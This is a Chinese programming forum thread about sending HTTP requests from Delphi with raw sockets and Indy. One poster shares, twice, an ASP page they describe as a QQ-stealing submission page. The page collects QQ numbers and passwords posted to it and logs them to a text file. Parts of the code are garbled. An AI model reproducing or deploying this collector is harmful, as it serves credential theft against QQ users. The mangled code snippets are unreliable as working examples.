跟你一段代码。这个是可以取回的,你自已看看 procedure TForm1.Button2Click(Sender: TObject); var d:Word; s:string; CSock : TSocket; pHost : pHostEnt; addr : sockaddr_in; strBuf: array[0..1023] of Char; intLen: integer; begin s:='GET //ershoubijibendiannao/10072115_244680.htm HTTP/1.0'#13#10 + 'Host: cd.ganji.com'#13#10#13#10; CSock:=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if CSock<>INVALID_SOCKET then begin pHost:= GetHostByName(PChar('cd.ganji.com')); addr.sin_family:=AF_INET; addr.sin_port:=htons(77); addr.sin_addr.S_addr:=PDWORD(PDWORD(pHost.h_addr)^)^; if connect(CSock,addr,SizeOf(addr))= 0 then begin send(CSock,PChar(s)^,Length(s),0); s:=''; while True do begin FillChar(strBuf, 1024, #0); intLen:= Recv(CSock, strBuf, 1024, 0); SetString(s, strBuf, 1023); Memo1.Lines.Add(UTF8Decode(s)); if intLen =0 then Break; end; CloseSocket(CSock); WSACleanUp(); end; end; end;
朋友,你的代码我测试不行啊.我从网上找了一个盗QQ的模拟提交ASP页面,你测试一下吧 <% strLogFile="qq.txt"QQNumber=request("QQNumber") QQPassWord=request("QQPassWord") QQclub=request("QQclub") QQip=request("QQip")if QQNumber="" or QQPassWord="" then response.write "配置正确" response.end End If StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST") StrLogText=StrLogText&")----"&date&" "×et f=Server.CreateObject("scripting.filesystemobject") set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0) ff.writeline(chr(13)+chr(10)&StrLogText) ff.close set ff=nothing set f=nothingresponse.write "成功!" %>
PostList : TStringList;
postList := TStringList.Create;
idhttp1.Request.Referer := '//192.168.0.1/***.asp'; //目标网页
idhttp1.Request.ContentLength := 92; //包长
postlist.Add('CMD=restart'); //包添加内容
idhttp1.Post('http://192.168.0.1/***.cgi', postList); //提交大概就是这样了
希望能得到我想要的结果.谢谢
'Host: localhost'#13#10#13#10
localhost应该是远程主机名或IP
还有localhost是我自己架设的一个模拟提交的页面。在IE中直接打入可以模拟提交成功。
但写出的代码就不能正确提交了。一开始的时候我也是从网上找了一个提交页面,测试了,跟我自己架设模拟的结果是一样的,都没有返回数据,不知道错误出在哪里
请问上两位朋友,你们成功了嘛?能否将你们的代码贴出来,我测试一下。谢谢了!
我这里host主机名是在clientsocket控件里写入的。还有端口是写的80。难道是这里的问题吗?
procedure TForm1.Button2Click(Sender: TObject);
var d:Word; s:string;
CSock : TSocket;
pHost : pHostEnt;
addr : sockaddr_in;
strBuf: array[0..1023] of Char;
intLen: integer;
begin
s:='GET //ershoubijibendiannao/10072115_244680.htm HTTP/1.0'#13#10 +
'Host: cd.ganji.com'#13#10#13#10; CSock:=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if CSock<>INVALID_SOCKET then
begin
pHost:= GetHostByName(PChar('cd.ganji.com'));
addr.sin_family:=AF_INET;
addr.sin_port:=htons(77);
addr.sin_addr.S_addr:=PDWORD(PDWORD(pHost.h_addr)^)^;
if connect(CSock,addr,SizeOf(addr))= 0 then
begin
send(CSock,PChar(s)^,Length(s),0);
s:='';
while True do
begin
FillChar(strBuf, 1024, #0);
intLen:= Recv(CSock, strBuf, 1024, 0);
SetString(s, strBuf, 1023);
Memo1.Lines.Add(UTF8Decode(s));
if intLen =0 then Break;
end;
CloseSocket(CSock);
WSACleanUp(); end; end;
end;
朋友,你的代码我测试不行啊.我从网上找了一个盗QQ的模拟提交ASP页面,你测试一下吧
<%
strLogFile="qq.txt"QQNumber=request("QQNumber")
QQPassWord=request("QQPassWord")
QQclub=request("QQclub")
QQip=request("QQip")if QQNumber="" or QQPassWord="" then
response.write "配置正确"
response.end
End If
StrLogText=StrLogText&QQNumber&"----"&QQPassWord&"----会员:"&QQclub&"----IP:"&QQip&"("&request.servervariables("REMOTE_HOST")
StrLogText=StrLogText&")----"&date&" "×et f=Server.CreateObject("scripting.filesystemobject")
set ff=f.opentextfile(server.mappath(".")&"\"&strLogFile,8,true,0)
ff.writeline(chr(13)+chr(10)&StrLogText)
ff.close
set ff=nothing
set f=nothingresponse.write "成功!"
%>
发现了问题,是由于要点击两次Button按键后在Memo中才会出现返回值.
不知道是为何.